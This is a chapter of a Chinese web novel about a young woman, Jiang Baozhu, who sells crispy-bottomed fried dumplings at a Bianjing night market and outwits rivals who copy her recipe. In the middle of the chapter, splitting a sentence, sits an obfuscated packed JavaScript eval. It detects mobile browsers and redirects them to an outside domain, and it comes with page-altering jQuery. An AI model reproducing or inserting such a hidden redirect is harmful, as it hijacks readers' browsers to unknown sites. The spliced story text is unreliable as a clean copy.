虽说早料到会有同行效仿这带花底的煎角儿，可姜宝珠没想到这么快——仅一日，就一日，人家已经赶在她前头开卖了。 还贴着她的脸卖！ “三姐姐——”琦姐儿气喘吁吁地跑回来了，“我大致瞧了一圈，只这半条街，卖金玉煎角儿的便有三四家，有的还挂着‘家传’，‘秘制’的招牌，哼！！” 小姑娘这声“哼”气沉丹田，头上的丫髻都在颤，姜宝珠看得唇角弯了又弯。 收敛笑意她又正色道：“莫急，咱先去把摊儿撑好，瞧瞧再说。” 姐妹俩推着灶车到摊位，卖汤羹的郑婶先看见她们。 “你怎来这般迟？”她急声道，说着白对面摊子一眼，“好好的生意，都给人抢了先机！” 对面卖煎角儿的听到这话也望过来。瞧见姜宝珠，那膀大腰圆的摊主没半点不好意思，反扬声吆喝起来： “金丝煎角儿，皮薄馅厚底儿酥脆——” “香煎玉角儿十文一碟——十文吃到饱哩！”他旁边那尖嘴猴腮的摊主也跟着嚎起来。 姜宝珠看着这一唱一和的，眉梢饶有兴致地挑了下。 这俩原本一个卖馄饨，一个卖索饼，今日竟毫无芥蒂，齐刷刷卖起煎角儿，还又是“金丝”，又是“香玉”的，摆明是要同仇敌忾。 至于“仇敌”是谁，不言而喻。 “香饮子——搭煎角儿更香的香饮子！”对面卖饮子的摊主也吆喝起来，“凡买金丝煎角儿香玉煎角儿的，我这饮子便宜他两文嘞！” “……” 很好，“仇姜者”联盟再添一人。 “好你个李大手，昨儿搭着姜娘子赚恁多，今日便伙同旁人欺她，你忒不厚道！” 姜宝珠还没来得及开口，郑婶子已替她出头。 昨儿搭上东风的不止李大手，她也赚不少——比往常多三成呢。今日眼瞧食客都跑对面去，她比姜娘子还急。 如今见对面三人联起手，她的火急火燎，更是烧成一把愤愤不平的怒火。 呸！三个大男人，竟如此欺压一小娘子！ 那李大手更是个腚上没种的孬货。 还是咱女人讲义气！ “嫂子，您这话可冤死我。”李大手慢悠悠盛出一杯紫苏水，回嘴道，“我这香饮子搭煎角儿买正好，能搭姜娘子的，自能搭旁人的——何来伙同欺人一说？” “正是！”一旁的瘦猴儿摊主立刻帮腔，眯起眼睇姜宝珠，“煎角儿本寻常，怎地她姜娘子能卖，我们卖不得？” “煎角儿常见不假，可这金玉煎角儿乃我三姐姐独创！”姜宝琦突然开口道。 小姑娘一步上前，声音清亮有力：“我姐姐撑摊之前，这满汴京可寻见第二家带焦黄脆底的角儿？” “嘿，这不巧了么——”那膀大腰圆的壮摊主也搅入战局，“昨儿我刚得了一本家传食单，里头正写着这煎角儿脆底的做法。” “你浑说！”姜宝琦高声驳道，“既有食单，便拿出来让大家瞧个明白吧！” “既是家传，怎可与你一小娃娃瞧。”壮摊主说着举起一碟他做的煎角儿，阴阳怪气道，“我倒想问问姜娘子，这角儿到底是怎么个独创法——上头刻你名号了？还是张嘴管你叫娘了？” 周围有人哄笑起来。姜宝琦气极：“你——” 无耻之徒！ “琦姐儿。”姜宝珠轻声道，伸手示意小妹回来，“无需理会。” 对方摆明要耍无赖，打嘴炮只会掉入自证陷阱。 最后瞥了眼对面摊上的煎角儿，她系上围裙：“咱们卖自家的。” 对面见姜宝珠不争不辩，更加趾高气昂，叫卖声都更响亮。 一旁的郑婶子气不过，也敞开嗓门帮姜宝珠吆喝起来。 桥上两边打擂台似地揽客，热闹程度不输昨日。 来往食客多数流向对面两家，一个时辰过去，姜宝珠卖出的煎角儿不及昨日一半。 没办法，她价格不占优势。 夜市不过图个新奇，吃个热闹，管你是家传还是独创，还不都是带脆底的漂亮煎角儿，自然要选便宜的。 “姜三娘，要不……你也便宜点儿卖？”郑婶子看着对摊又排起队，愈发替人着急。 姜宝珠平静道：“婶子，再便宜我该亏了。” 打价格战没一点用。 信不信她降到十文，对面就敢降到八文？ 他们今儿又不是为赚钱来的。只要能击垮她，亏本也在所不惜…… “……阿娘快来，这也有金丝煎角儿！” 一道脆生生的童音打断姜宝珠思绪，她抬眸，正瞧见一个跟灶车一般高的小丫头蹦蹦跳跳走过来。 “圆姐儿慢些，仔细摔着！”年轻妇人紧随其后，一把将乱跑的孩子捞到身前。 小丫头扭着肚子甩开母亲的手，圆溜溜的眼眨巴着：“两位姐姐，你们这金丝角角怎生卖？” 姜宝珠莞尔，躬低身笑答：“我这是金玉角角，豚肉的十五文一碟，鱼肉馅要二十文——姐儿想要甚么馅的啊？” “十五文？”年轻妇人扭头看了眼对面小摊，兀自嘟哝，“倒贵了些……无妨，省得等了。有劳小娘子做些豚肉的罢。” “姐姐客气。”姜宝珠起锅烧油，又问道，“一碟五枚，姐姐要几碟？” “要……”妇人正欲回答，转手又摸了摸小女儿头上的总角，“圆姐儿，表兄表姐稍后便到，算上你玉姐姐和阿兄——若你们每人分得一枚煎角儿，阿娘要买几枚呀？” 姜宝珠拿碟子的手抖了一下，瞬间梦回上辈子被老师抽查提问…… 没被应试教育教育过的小丫头一派天真，立马掰着手指算起来。 她举起两只小手，自信答道：“买八枚！” 妇人噎了下：“……圆姐儿如何算得八枚？” “阿兄一枚，我一枚，玉姐姐一枚——”小丫头摁着指头认真数算，“我一枚，表姐一枚，我一枚，表兄一枚，我一枚！” “……” 妇人阖眼长长呼了一口气，却又在下一刻摇头笑起来。 “真真是个鬼伶精……依你罢！”她宠溺地摸了把女儿脑袋，又对姜宝珠道，“要两碟。” 姜宝珠看得心房软软，眉眼弯弯：“好嘞！” 拿出十枚煎角正要下锅，小女孩又开口了：“这角角脆底可完整不破？” “自然。”姜宝珠笃定道。卖了这两日煎角儿，她几乎没失手过，看准时机一锅铲下去，总能将连成一片的脆底完完整整铲下来。 小丫头歪着脑袋：“我与阿兄姐姐分食后，要将花花底留到最后吃……” 姜宝珠愣了下，反应过来：“你是说，要这角儿一枚一枚分开后，脆底照旧完整？” 小丫头使劲点头，她阿娘眉心却蹙起来：“圆姐儿，不可无理取闹。阿娘不是说了么，这角儿若一枚枚分开，脆底定然会破的。” “……” 小姑娘没再说话，失落落垂下脑袋。 姜宝珠忽而想到什么，眉心动了动：“倒也未必。” 妇人讶异看她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488892|185764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“小娘子何意？” 姜宝珠笑笑没回答，手上已将十枚饺子下入油锅。大勺舀了点水泼进锅中加盖，没一会儿，蒸气就将煎角儿闷熟。 锅盖掀开，小女孩失望呼出一声：“没有花花底了！” “姐儿莫急。”姜宝珠道，说着便将熟角子盛出锅，又拿起盛面浆水的木盆，往重新刷了油的热锅中倒。 薄匀面浆水细流入锅，摊小饼似地，不疾不徐摊出十个小小圆形。 放下木盆，姜宝珠手速加快，麻利地将煎角儿一个个躺放在面浆水上。 面水很快被烤干，析出焦黄丝边，姜宝珠拿起锅铲，小心翼翼地沿着边缘一铲。 ——一个带着圆圆薄薄丝网的煎角儿跃锅而出。 “哇！”小丫头和妇人齐齐惊呼。 姜宝珠将煎角儿一个一个铲出锅，再整整齐齐摆进妇人递来的提盒里。 角儿是躺着放进锅的，此刻立正装盘，这一片丝网好似蝶翼贴在角子肚上，又像一页页小船扬起风帆。 这种进阶版煎角儿，姜宝珠在后世的茶餐厅吃过一次，当时还在心里吐槽：味道还不如街边的早餐店，也就图个卖相吧。 ——如今看来，有时这一点好卖相，也是揽客的关键…… 将最后一枚角儿垫在油纸上，姜宝珠笑眯眯递给目瞪口呆的小姑娘：“如此，分食也不怕花网破啦！” 小丫头眼眸发亮，近乎崇拜地望着姜宝珠，又兴奋地直扯她娘亲袖口：“阿娘你瞧——角角有蝶翼啦！” 年轻妇人很是赞许地看了姜宝珠一眼，莞尔：“小娘子有心了。” 拎起食盒离开之际，她摸出一把铜钱放摊上。 ——乍一看足有五十枚。 “爹爹，我也要那带蝶翼的角儿！”对面摊前有孩童闹道，说着便拉扯大人往姜宝珠的小摊走。 “咦，瞧那小娘子的煎角儿样式，稀奇嘞……” 早在小丫头叽叽喳喳时，周围就有不少人看过来，这会儿图新鲜的食客接踵而至，纷纷都要买那“蝶翼煎角儿”。 “且慢——别走！”眼瞅着自家摊位前的队伍散开，跟姜宝珠对着干的俩摊主开始着急了。 那壮摊主将肩上汗巾重重一甩：“不就变了个花样么，咱家也能做——照旧十文一碟！” 他这话一出，几个本打算离开的食客立即止住脚步——那小娘子的新式煎角儿刚叫价二十文，贵不少呢。 姜宝珠无声一哂，没搭理对面，笑盈盈地将张开蝶翼角儿递给兴高采烈的小孩。 那厮也在瞧姜宝珠，将人先摊面浆水，再放煎角儿的流程瞧过一遍，他不屑轻嗤：还以为有多难。小小花招，唬人罢了。 他自信满满地端起木盆，也学着人样子，在锅中摊下圆形面浆水。 须臾—— “噫，弄啥嘞？乌漆嘛黑的……” “你这花网都碎了啊……不要了不要了！” “阿娘，我不要这角儿——我要胜哥儿手里的，他的煎角儿是蛱蝶，我这……像蜣蜋（屎壳郎）！” “你这厮——老子干等一刻，你竟做出一锅饧糠糊弄我，找打不成？！” 壮摊主忙不迭道歉，手上还在一个劲儿刮烧糊的锅底，简直汗流浃背了。 “妙哉。”桥头一书生模样的食客目睹全程，不由轻笑出声。 咬了口煎角儿薄而酥脆的丝网，他又饶有兴致问姜宝珠：“敢问姜娘子：观这面浆灶具，皆与寻常无异，何以独独娘子能做出这银玉般的煎角儿，旁人却不成呢？” “咔——” 姜宝珠铲下一枚煎角儿，眉梢挑了下：“许是……我这配方乃潜心自创，而非凭空‘家传’罢。”